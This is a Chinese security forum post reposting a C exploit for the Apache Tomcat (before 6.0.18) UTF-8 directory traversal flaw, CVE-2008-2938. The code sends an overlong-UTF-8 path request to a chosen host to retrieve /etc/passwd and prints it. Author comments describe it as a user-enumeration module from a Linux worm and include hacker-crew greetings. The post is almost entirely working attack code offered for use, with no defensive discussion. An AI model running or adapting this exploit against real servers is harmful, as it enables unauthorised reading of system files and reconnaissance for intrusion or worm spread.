社区应用最新帖子精华区社区服务会员列表统计排行银行
主题 : Apache Tomcat<6.0.18 UTF8目录遍历漏洞
amxking在线
Information Security
级别: 管理员

UID: 3
精华: 47
发帖: 3035
安全币: 421473 枚
威望: 5776 点
贡献值: 5649 点
红科币: 285890 枚
好评度: 5766 点
在线时间: 2214(时)
注册时间: 2009-12-21
最后登录: 2010-09-09
楼主 发表于: 2010-07-30 09:50  

Apache Tomcat<6.0.18 UTF8目录遍历漏洞

发表:红科网安
发布:Amxking
/*Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit
c0d3r: mywisdom
thanks for not being lame to change exploit author
tis is one of my linux w0rm module for user enumerations, i've dual os worm
thanks to: gunslinger,flyf666,petimati,kiddies,xtr0nic,c0mrade,n0te,v3n0m,iblis muda,cr4wl3r
thanks to: isa m said, whitecyber
thanks to all devilzc0de crews and members, all jasakom crews and members
    * EDB-ID: 6229
    * CVE: 2008-2938
    * OSVDB-ID: 47464
    * Author: Simon Ryeo
    * Published: 2008-08-11
    * Verified: Verified
greetz to inj3ct0r crews:
31337 Inj3ct0r Members:
 
cr4wl3r, The_Exploited, eidelweiss, SeeMe, XroGuE, agix, gunslinger_, Sn!pEr.S!Te, indoushka,
 
Sid3^effects, L0rd CrusAd3r, Th3 RDX, r45c4l, Napst3r?, etc..
not so good but worth to try if our target directory structure has /usr/local/wwwroot
 
复制代码
  1. */
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <errno.h>
  7. #include <string.h>
  8. #include <netinet/in.h>
  9. #include <netdb.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <arpa/inet.h>
  13. #define EXPLOIT "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\n\n"
  14. #define RCVBUFSIZE 9999
  15. #define tester "root:x"   
  16. void cls()
  17.  {
  18.  char esc = 27;
  19.  printf("%c%s",esc,"[2J");
  20.  printf("%c%s",esc,"[1;1H");
  21.  }
  22. int main(int argc,char **argv)
  23. {
  24. if(argc<2)
  25.   {
  26.    /**checking argument to avoid memory wasting for useless variables in vma**/
  27.    cls();
  28.    printf("\nApache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit\n");
  29.    printf("\nc0d3r: mywisdom\n");   
  30.    printf("\nusage:./tomcatevil hotname\n");
  31.    exit(1);
  32.   }
  33. else
  34.  {
  35.   
  36.  int port=80;
  37.  char echobuf[RCVBUFSIZE];
  38.  int rval,sockfd, bytesrcv, totalbytes;
  39.  struct hostent *he;
  40.  struct sockaddr_in their_addr;
  41.  if((he=gethostbyname(argv[1])) == NULL)
  42.   {
  43.    perror("\nSorry please recheck your target hostname !\n");
  44.    exit(1);
  45.   }
  46.   else
  47.   {
  48.    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  49.     {
  50.      perror("socket()");
  51.      exit(1);
  52.     }
  53.     else
  54.     {
  55.         //exploiting and try to get /etc/passwd
  56.   their_addr.sin_family = AF_INET;
  57.  
  58.  printf("\n[-]Checking whether port %d opens or not\n",port);
  59.  their_addr.sin_port = htons(port);
  60.  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  61.  memset(&(their_addr.sin_zero), '\0', 8);
  62.  if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
  63.   {
  64.   perror("failed to connect !!!");
  65.   
  66.   }
  67.  else
  68.  {
  69.  printf("\n[+]Port 80 opens !!! now sending your exploit to our target\n");
  70.  if(send(sockfd, EXPLOIT,999,0)==-1)
  71.    {
  72.  perror ("send");
  73.    }
  74.  else
  75.    {
  76.        totalbytes=0;
  77.        while (totalbytes < RCVBUFSIZE)
  78.         {
  79.        
  80.         if ((bytesrcv = recv(sockfd, echobuf, RCVBUFSIZE - 1, 0)) <= 0)
  81.             {
  82.  
  83.             }
  84.             else
  85.             {
  86.               totalbytes += bytesrcv;
  87.               echobuf[bytesrcv] = '\0'; 
  88.                
  89.             }
  90.            totalbytes++;
  91.         }
  92.     
  93.   
  94.    }
  95.  
  96.    if(echobuf)
  97.        {
  98.         
  99.         rval=strstr (echobuf, tester);
  100.           if(rval)
  101.              {
  102.             printf(echobuf);
  103.             printf("\n[+]w00t!!! target vulnerable! exploitation success u may see /etc/passwd above !!!\n");
  104.             exit(1);
  105.              }
  106.              else
  107.             {
  108.             printf(echobuf);
  109.             printf("\n[-]target not vulnerable !!!\n");
  110.             exit(1);
  111.             }
  112.        }
  113.  
  114.  }
  115.  close(sockfd);
  116.  
  117.  
  118.  
  119.        //eof exploiting
  120.  
  121.     }
  122.    }
  123.  
  124.  }
  125.  
  126.  
  127. }

In me the tiger sniffe the rose !浩瀚的宇宙中,我仅仅是一粒微尘!众人皆为吾师!
描述
快速回复

如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
验证问题:
我们的组织是? 正确答案:红科网安
按"Ctrl+Enter"直接提交
上一个下一个